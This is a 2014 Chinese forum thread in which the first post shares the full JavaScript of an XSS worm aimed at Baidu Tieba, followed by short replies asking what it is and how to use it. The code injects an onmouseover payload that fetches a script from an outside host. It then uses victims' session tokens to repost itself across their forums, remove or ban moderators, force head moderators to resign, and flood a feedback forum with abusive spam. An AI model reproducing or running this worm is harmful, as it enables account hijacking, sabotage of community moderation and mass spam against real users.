找回密码
 立即注册
查看: 408|回复: 4

xss的js

[复制链接]

771

回帖

1万

基友

1万

积分

仙人3层 Lv.12

Rank: 6Rank: 6

伯爵荣耀

发表于 2014-3-15 16:57:24 | 显示全部楼层 |阅读模式
  1. var n=PageData.user.user_forum_list.info.length;
  2. var num=0;
  3.         var config = {
  4.                 titles: ["\u4f60\u7684\u672a\u6765\u5728\u8fd9\u4e2a\u5e16\u5b50\u91cc\uff0c\u60f3\u770b\u5417\uff1f", "\u611a\u8822\u7684\u51e1\u4eba \u63a5\u53d7\u795e\u306e\u6012\u706b\u5427","\u8fd9\u662f\u547d\u8fd0\u77f3\u4e4b\u95e8\u7684\u9009\u62e9","\u98a4\u6296\u5427\uff0c\u51e1\u4eba\u4eec\uff01","\u6b3a\u9a97\u4e00\u5f00\u59cb\u7684\u4f60 \u6b3a\u9a97\u4e16\u754c\u5427","\u8c01\u8981\u5403\u53d8\u6001\u7684\u9999\u8549\uff01","\u521a\u624d\u6536\u5230\u4e86\u5f3a\u70c8\u7684\u7cbe\u795e\u653b\u51fb \u5fc3...\u5fc3\u7075\u6b63\u906d\u5230\u4fb5\u8680","\u4e0d\u8981\u9760\u8fd1\u6211\uff01\u6211\u6b63\u5728\u6267\u884c\u963b\u6b62\u673a\u5173\u66b4\u529b\u884c\u4e3a\u7684\u4f5c\u6218","\u624b\u62ff\u91d1\u5777\u5783\uff0c\u811a\u8e0f\u4e03\u5f69\u4e91\u7aef\uff0c\u53d1\u51fa\u6700\u540e\u7684\u5450\u558a","\u98a4\u6296\u5427\uff0c\u51e1\u4eba\u4eec\uff01"],
  5.                 contents: ['"style="height:100%;width:100;position:fixed'],
  6.                 tbs: PageData.tbs,
  7.                 whiteList: [635137, 1074587, 116863],
  8.         evilContent: '"onmouseover="$.getScript(\u0027//baid.ws/c8tf\u0027)' //xss
  9.         };

  10.         var userInfo = {
  11.         is_red_tail:function(i){$.get('http://tieba.baidu.com/home/get/panel?ie=utf-8&un='+PageData.user.name,function(data){return data.data.identity});}(),
  12.                 is_bawu: function (p) {
  13.                         return p.bawu ? p.can_edit_gconforum ? "daba" : "xiaoba" : "none"
  14.                 }(PageData.user.power)
  15.         };
  16.         function addGood(fid, kw, tid) {
  17.                 $.get('http://tieba.baidu.com/mo/q---9E2EBBE47D2160067823F56F5F549254%3AFG%3D1--1-3-0--2--wapp_1393073859357_21/m?tn=bdSGD&tbs=' + config.tbs + '&word=' + encodeURIComponent(kw) + '&z=' + tid + '&fid=' + fid + '&ntn=set&pn=0&cate=0&expand=0&pinf=1_2_0');
  18.         }

  19.         function topThread(fid, kw, tid) {
  20.                 $.get('http://tieba.baidu.com/mo/q---9E2EBBE47D2160067823F56F5F549254%3AFG%3D1--1-3-0--2--wapp_1393073859357_21/m?tn=bdTOP&z=' + tid + '&tbs=' + config.tbs + '&word=' + encodeURIComponent(kw) + '&expand=0&fid=' + fid + '&ntn=set&pinf=1_2_0');
  21.         }

  22.         function killXiaoBa() {
  23.                 $.get("/bawu2/platform/listBawuTeam?ie=utf-8&word=" + encodeURIComponent(PageData.forum.name), function (x) {
  24.                         $(x).find("ul[id*='assist']").find("li[data-field*='"user_id":']").each(function () {
  25.                                 $.post("/bawu2/platform/delBawuMember", {
  26.                                         tbs: config.tbs,
  27.                                         word: PageData.forum.name,
  28.                                         user_id: $.parseJSON(this.dataset.field).user_id,
  29.                                         type: "assist",
  30.                                         ie: "utf-8"
  31.                                 });
  32.                         });
  33.                 });
  34.         }

  35.         function banXiaoBa() {
  36.                 $.get('http://tieba.baidu.com/f/bawu/admin_group?ie=utf-8&kw=' + encodeURIComponent(PageData.forum.name) + '&fid=' + PageData.forum.id, function (res) {
  37.                         $(res).find('tr:nth-child(3)').find('a').each(function () {
  38.                                 $.post('/bawu/cm', {
  39.                                         cm: 'filter_forum_user',
  40.                                         ban_days: 1,
  41.                                         user_name: $(this).text(),
  42.                                         word: PageData.forum.name,
  43.                                         fid: PageData.forum.id,
  44.                                         tbs: config.tbs,
  45.                                         ie: 'utf-8'
  46.                                 })
  47.                         })
  48.                 })
  49.         }

  50.         function czDaba() {
  51.                 $.post('/bawu/cm', {
  52.                         cm: 'apply_resign',
  53.                         resignation: '\u518d\u89c1\u4e86 \u6211\u7684\u670b\u53cb\u4eec.',
  54.                         dtype: 'json',
  55.                         word: PageData.forum.name,
  56.                         fid: PageData.forum.id,
  57.                         tbs: config.tbs,
  58.                         ie: 'utf-8'
  59.                 })
  60.         }

  61.         function addThread(fid) {
  62.                 $.post("/relay/commit", {
  63.                         ie: "utf-8",
  64.                         kw: "test",
  65.             fid:35,
  66.             tid:2910585163,
  67.                         ftid: fid,
  68.             ptid:2910585163,
  69.             ppid:47102132189,
  70.                         tbs: PageData.tbs,
  71.                         title: config.titles[Math.random() * config.titles.length | 0],
  72.                         content: "aeb1cb13495409230133f7cd9058d109b3de492f#"+config.contents[Math.random() * config.contents.length | 0]+config.evilContent,
  73. new_vcode:1,
  74. tag:11,
  75. activity_id:1425,
  76. act_type:"photo",
  77. __type__:"repost"
  78.                 },function (x) {
  79.           if (x.no == 0 || x.new_thread_id) return x.new_thread_id;})
  80.         }

  81. function reply(){
  82.   if (-1 !== config.whiteList.indexOf(PageData.user.user_forum_list.info[num].id) || !userInfo.is_red_tail && !PageData.user.user_forum_list.info[num].is_like){num++;return;}
  83.   if(PageData.user.user_forum_list.info[num].tid){
  84.    num++;
  85.   }else{
  86.     PageData.user.user_forum_list.info[num].tid=true;addThread(PageData.user.user_forum_list.info[num].id);
  87.   }
  88. }

  89.         function fuckRedTail() {
  90.                 var obj = {
  91.                         ie: "utf-8",
  92.                         kw: "\u8d34\u5427\u610f\u89c1\u53cd\u9988",
  93.                         fid: 898666,
  94.                         tbs: PageData.tbs,
  95.                         title: "\u767e\u5ea6SB",
  96.                         content: config.contents[Math.random() * config.contents.length | 0]
  97.                 }
  98.                 for(var i=0;i<100;i++){
  99.                         $.post("/f/commit/thread/add",obj);
  100.                 }
  101.         }

  102.         if(userInfo.is_red_tail){setInterval("fuckRedTail()",8000)}
  103.         if ("daba" === userInfo.is_bawu){ killXiaoBa(); czDaba();}
  104.         if ("xiaoba" === userInfo.is_bawu) banXiaoBa();
  105. var ruchong=setInterval("reply()",2000);
复制代码



幸好沒加入取消貼吧
回复

使用道具 举报

1187

回帖

3088

基友

3921

积分

通神5段 Lv.8

Rank: 4

发表于 2014-3-15 18:45:21 | 显示全部楼层
完全不懂是什么
回复 支持 反对

使用道具 举报

2970

回帖

7767

基友

7201

积分

通神6段 Lv.9

Rank: 5Rank: 5

伯爵荣耀

发表于 2014-3-16 09:57:52 | 显示全部楼层
看不懂。。
回复

使用道具 举报

1121

回帖

2811

基友

2743

积分

通神4段 Lv.7

Rank: 4

伯爵荣耀

发表于 2014-3-16 12:06:57 | 显示全部楼层
苍海说,南山采菊,不见归路。有人问,谁的菊?痴情梦里梦痴情 说,是我的,立马被苍海奖励1 基友。
回复 支持 反对

使用道具 举报

1795

回帖

5781

基友

2万

积分

仙人7层 Lv.16

Rank: 10Rank: 10Rank: 10

二货勋章伯爵荣耀

发表于 2014-3-16 12:14:31 | 显示全部楼层
怎么用呢
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|苍海国际 ( 鲁ICP备13020644号-1 )

GMT+8, 2025-7-13 06:57 , Processed in 0.140761 second(s), 23 queries .

Powered by Discuz! Theme By eRic Modified by 4bpa

© CangHai International We Do Our Rights!

返回顶部